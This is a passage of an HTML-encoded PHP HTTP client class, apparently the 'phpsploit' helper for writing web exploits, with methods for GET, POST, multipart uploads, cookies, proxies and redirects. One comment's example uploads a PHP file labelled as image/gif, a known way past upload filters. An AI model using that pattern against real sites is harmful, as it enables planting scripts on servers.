public function proxyauth&#40;$proxyauth,$proxypasse=&#39;&#39;&#41;
{
	// $this-&gt;proxyauth&#40;&quot;darkfig:password&quot;&#41;;
	if&#40;empty&#40;$proxypasse&#41;&#41;
	{
		preg_match&#40;&quot;/^&#40;.*&#41;:&#40;.*&#41;$/&quot;,$proxyauth,$proxautharr&#41;;
		$proxu = $proxautharr[1];
		$proxp = $proxautharr[2];
		$this-&gt;proxyuser=$proxu;
		$this-&gt;proxypass=$proxp;
	}
	// $this-&gt;proxyauth&#40;&quot;darkfig&quot;,&quot;password&quot;&#41;;
	else
	{
		$this-&gt;proxyuser=$proxyauth;
		$this-&gt;proxypass=$proxypasse;
	}
}


/**
 * This function allows you to set the &quot;User-Agent&quot; header.
 * Several methods are possible to do that:
 * 
 * $this-&gt;agent&#40;&quot;Mozilla Firefox&quot;&#41;;
 * or
 * $this-&gt;addheader&#40;&quot;User-Agent: Mozilla Firefox&quot;&#41;;
 * or
 * $this-&gt;addheader&#40;&quot;User-Agent&quot;,&quot;Mozilla Firefox&quot;&#41;;
 * 
 * @param string $useragent
 */
public function agent&#40;$useragent&#41;
{
	$this-&gt;agent=$useragent;
}


/**
 * This function returns the header which will be
 * in the next request.
 * 
 * $this-&gt;showheader&#40;&#41;;
 *
 * @return $header
 */
public function showheader&#40;&#41;
{
	return $this-&gt;header;
}


/**
 * This function returns the cookie which will be
 * in the next request.
 * 
 * $this-&gt;showcookie&#40;&#41;;
 *
 * @return $storedcookies
 */
public function showcookie&#40;&#41;
{
	return $this-&gt;cookie;
}


/**
 * This function returns the last formed
 * http request &#40;the http packet&#41;.
 * 
 * $this-&gt;showlastrequest&#40;&#41;;
 * 
 * @return $last_http_request
 */
public function showlastrequest&#40;&#41;
{
	return $this-&gt;packet;
}


/**
 * This function sends the formed http packet with the
 * GET method. You can precise the port of the host.
 * 
 * $this-&gt;get&#40;&quot;http://localhost&quot;&#41;;
 * $this-&gt;get&#40;&quot;http://localhost:888/xd/tst.php&quot;&#41;;
 * 
 * @param string $urlwithpath
 * @return $server_response
 */
public function get&#40;$url&#41;
{
	$this-&gt;target&#40;$url&#41;;
	$this-&gt;method=&quot;get&quot;;
	return $this-&gt;sock&#40;&#41;;
}


/**
 * This function sends the formed http packet with the
 * POST method. You can precise the port of the host.
 * 
 * $this-&gt;post&#40;&quot;http://localhost/index.php&quot;,&quot;admin=1&amp;user=dark&quot;&#41;;
 *
 * @param string $urlwithpath
 * @param string $postdata
 * @return $server_response
 */	
public function post&#40;$url,$data&#41;
{
	$this-&gt;target&#40;$url&#41;;
	$this-&gt;method=&quot;post&quot;;
	$this-&gt;data=$data;
	return $this-&gt;sock&#40;&#41;;
}


/**
 * This function sends the formed http packet with the
 * POST method using the multipart/form-data enctype. 
 * 
 * $array = array&#40;
 *          frmdt_url      =&gt; &quot;http://localhost/upload.php&quot;,
 *          frmdt_boundary =&gt; &quot;123456&quot;,                    # Optional
 *                 &quot;email&quot; =&gt; &quot;[email protected]&quot;,
 *               &quot;varname&quot; =&gt; array&#40;
 *                            frmdt_type =&gt; &quot;image/gif&quot;,   # Optional
 *                       frmdt_transfert =&gt; &quot;binary&quot;,      # Optional
 *                        frmdt_filename =&gt; &quot;hello.php&quot;,
 *                         frmdt_content =&gt; &quot;&lt;?php echo &#39;:&#41;&#39;; ?&gt;&quot;&#41;&#41;;
 * $this-&gt;formdata&#40;$array&#41;;
 *
 * @param array $array
 * @return $server_response
 */
public function formdata&#40;$array&#41;
{
	$this-&gt;target&#40;$array[frmdt_url]&#41;;
	$this-&gt;method=&quot;formdata&quot;;
	$this-&gt;data=&#39;&#39;;
	if&#40;!isset&#40;$array[frmdt_boundary]&#41;&#41; $this-&gt;boundary=&quot;phpsploit&quot;;
	else $this-&gt;boundary=$array[frmdt_boundary];
	foreach&#40;$array as $key =&gt; $value&#41;
	{
		if&#40;!preg_match&#40;&quot;#^frmdt_&#40;boundary|url&#41;#&quot;,$key&#41;&#41;
		{
			$this-&gt;data .= &quot;-----------------------------&quot;.$this-&gt;boundary.&quot;&#92;r&#92;n&quot;;
			$this-&gt;data .= &quot;Content-Disposition: form-data; name=&#92;&quot;&quot;.$key.&quot;&#92;&quot;;&quot;;
			if&#40;!is_array&#40;$value&#41;&#41;
			{
				$this-&gt;data .= &quot;&#92;r&#92;n&#92;r&#92;n&quot;.$value.&quot;&#92;r&#92;n&quot;;
			}
			else
			{
				$this-&gt;data .= &quot; filename=&#92;&quot;&quot;.$array[$key][frmdt_filename].&quot;&#92;&quot;;&#92;r&#92;n&quot;;
				if&#40;isset&#40;$array[$key][frmdt_type]&#41;&#41; $this-&gt;data .= &quot;Content-Type: &quot;.$array[$key][frmdt_type].&quot;&#92;r&#92;n&quot;;
				if&#40;isset&#40;$array[$key][frmdt_transfert]&#41;&#41; $this-&gt;data .= &quot;Content-Transfer-Encoding: &quot;.$array[$key][frmdt_transfert].&quot;&#92;r&#92;n&quot;;
				$this-&gt;data .= &quot;&#92;r&#92;n&quot;.$array[$key][frmdt_content].&quot;&#92;r&#92;n&quot;;
			}
		}
	}
	$this-&gt;data .= &quot;-----------------------------&quot;.$this-&gt;boundary.&quot;--&#92;r&#92;n&quot;;
	return $this-&gt;sock&#40;&#41;;
}


/**
 * This function returns the content of the server response
 * without the headers.
 * 
 * $this-&gt;getcontent&#40;$this-&gt;get&#40;&quot;http://localhost/&quot;&#41;&#41;;
 * or
 * $this-&gt;getcontent&#40;&#41;;
 *
 * @param string $server_response
 * @return $onlythecontent
 */
public function getcontent&#40;$code=&#39;&#39;&#41;
{
	if&#40;empty&#40;$code&#41;&#41; $code = $this-&gt;recv;
	$content = explode&#40;&quot;&#92;n&quot;,$code&#41;;
	$onlycode = &#39;&#39;;
	for&#40;$i=1;$i&lt;count&#40;$content&#41;;$i++&#41;
	{
		if&#40;!preg_match&#40;&quot;/^&#40;&#92;S*&#41;:/&quot;,$content[$i]&#41;&#41; $ok = 1;
		if&#40;$ok&#41; $onlycode .= $content[$i].&quot;&#92;n&quot;;
	}
	return $onlycode;
}


/**
 * This function returns the headers of the server response
 * without the content.
 * 
 * $this-&gt;getheader&#40;$this-&gt;post&#40;&quot;http://localhost/x.php&quot;,&quot;x=1&amp;z=2&quot;&#41;&#41;;
 * or
 * $this-&gt;getheader&#40;&#41;;
 *
 * @param string $server_response
 * @return $onlytheheaders
 */
public function getheader&#40;$code=&#39;&#39;&#41;
{
	if&#40;empty&#40;$code&#41;&#41; $code = $this-&gt;recv;
	$header = explode&#40;&quot;&#92;n&quot;,$code&#41;;
	$onlyheader = $header[0].&quot;&#92;n&quot;;
	for&#40;$i=1;$i&lt;count&#40;$header&#41;;$i++&#41;
	{
		if&#40;!preg_match&#40;&quot;/^&#40;&#92;S*&#41;:/&quot;,$header[$i]&#41;&#41; break;
		$onlyheader .= $header[$i].&quot;&#92;n&quot;;
	}
	return $onlyheader;
}


/**
 * This function is called by the cookiejar&#40;&#41; function.
 * It adds the value of the &quot;Set-Cookie&quot; header in the &quot;Cookie&quot;
 * header for the next request. You don&#39;t have to call it.
 * 
 * @param string $server_response
 */
private function getcookie&#40;$code&#41;
{
	$carr = explode&#40;&quot;&#92;n&quot;,str_replace&#40;&quot;&#92;r&#92;n&quot;,&quot;&#92;n&quot;,$code&#41;&#41;;
	for&#40;$z=0;$z&lt;count&#40;$carr&#41;;$z++&#41;
	{
		if&#40;preg_match&#40;&quot;/set-cookie: &#40;.*&#41;/i&quot;,$carr[$z],$cookarr&#41;&#41;
		{
			$cookie[] = preg_replace&#40;&quot;/expires=&#40;.*&#41;&#40;GMT||UTC&#41;&#40;&#92;S*&#41;$/i&quot;,&quot;&quot;,preg_replace&#40;&quot;/path=&#40;.*&#41;/i&quot;,&quot;&quot;,$cookarr[1]&#41;&#41;;
		}
	}

	for&#40;$i=0;$i&lt;count&#40;$cookie&#41;;$i++&#41;
	{
		preg_match&#40;&quot;/&#40;&#92;S*&#41;=&#40;&#92;S*&#41;&#40;|;&#41;/&quot;,$cookie[$i],$matches&#41;;
    	        $cookn = $matches[1];
    	        $cookv = $matches[2];
    	        $this-&gt;addcookie&#40;$cookn,$cookv&#41;;
	}
}


/**
 * This function is called by the get&#40;&#41;/post&#40;&#41; functions.
 * You don&#39;t have to call it.
 *
 * @param string $urltarg
 */
private function target&#40;$urltarg&#41;
{
	if&#40;!preg_match&#40;&quot;/^http:&#92;/&#92;/&#40;.*&#41;&#92;//&quot;,$urltarg&#41;&#41; $urltarg .= &quot;/&quot;;
	$this-&gt;url=$urltarg;
	
	$array = explode&#40;&quot;/&quot;,str_replace&#40;&quot;http://&quot;,&quot;&quot;,preg_replace&#40;&quot;/:&#40;&#92;d+&#41;/&quot;,&quot;&quot;,$urltarg&#41;&#41;&#41;;
	$this-&gt;host=$array[0];

	preg_match&#40;&quot;/:&#40;&#92;d+&#41;&#92;//&quot;,$urltarg,$matches&#41;;
	$this-&gt;port=empty&#40;$matches[1]&#41; ? 80 : $matches[1];
	
	$temp = str_replace&#40;&quot;http://&quot;,&quot;&quot;,preg_replace&#40;&quot;/:&#40;&#92;d+&#41;/&quot;,&quot;&quot;,$urltarg&#41;&#41;;
	preg_match&#40;&quot;/&#92;/&#40;.*&#41;&#92;//&quot;,$temp,$matches&#41;;
	$this-&gt;path=str_replace&#40;&quot;//&quot;,&quot;/&quot;,&quot;/&quot;.$matches[1].&quot;/&quot;&#41;;

	if&#40;$this-&gt;port &gt; 65535&#41; die&#40;&quot;Error: Invalid port number&quot;&#41;;
}


/**
 * If you call this function, the script will
 * extract all &quot;Set-Cookie&quot; headers values
 * and it will automatically add them into the &quot;Cookie&quot; header
 * for all next requests.
 *
 * $this-&gt;cookiejar&#40;1&#41;; // enabled
 * $this-&gt;cookiejar&#40;0&#41;; // disabled
 * 
 */
public function cookiejar&#40;$code&#41;
{
	if&#40;$code===0&#41; $this-&gt;cookiejar=&#39;&#39;;
	if&#40;$code===1&#41; $this-&gt;cookiejar=1;
	else
	{
		$this-&gt;getcookie&#40;$code&#41;;
	}
}


/**
 * If you call this function, the script will
 * follow all redirections sent by the server.
 * 
 * $this-&gt;allowredirection&#40;1&#41;; // enabled
 * $this-&gt;allowredirection&#40;0&#41;; // disabled
 * 
 * @return $this-&gt;get&#40;$locationresponse&#41;
 */
public function allowredirection&#40;$code&#41;
{
	if&#40;$code===0&#41; $this-&gt;allowredirection=&#39;&#39;;
	if&#40;$code===1&#41; $this-&gt;allowredirection=1;
	else
	{
		if&#40;preg_match&#40;&quot;/&#40;location|content-location|uri&#41;: &#40;.*&#41;/i&quot;,$code,$codearr&#41;&#41;
		{
			$location = str_replace&#40;chr&#40;13&#41;,&#39;&#39;,$codearr[2]&#41;;
			if&#40;!eregi&#40;&quot;://&quot;,$location&#41;&#41;
			{
				return $this-&gt;get&#40;&quot;http://&quot;.$this-&gt;host.$this-&gt;path.$location&#41;;
			}
			else
			{
				return $this-&gt;get&#40;$location&#41;;
			}
		}
		else
		{
			return $code;
		}
	}
}


/**
 * This function allows you to reset some parameters:
 * 
 * $this-&gt;reset&#40;header&#41;; // headers cleaned
 * $this-&gt;reset&#40;cookie&#41;; // cookies cleaned
 * $this-&gt;reset&#40;&#41;;       // clean all parameters
 *
 * @param string $func
 */
public function reset&#40;$func=&#39;&#39;&#41;
{
	switch&#40;$func&#41;
	{
		case &quot;header&quot;:
		$this-&gt;header=&#39;&#39;;
		break;
		
		case &quot;cookie&quot;:
		$this-&gt;cookie=&#39;&#39;;
		break;
		
		default:
	        $this-&gt;cookiejar=&#39;&#39;;
	        $this-&gt;header=&#39;&#39;;
	        $this-&gt;cookie=&#39;&#39;;
	        $this-&gt;allowredirection=&#39;&#39;; 
	        $this-&gt;agent=&#39;&#39;;
	        break;
	}
}

}
?>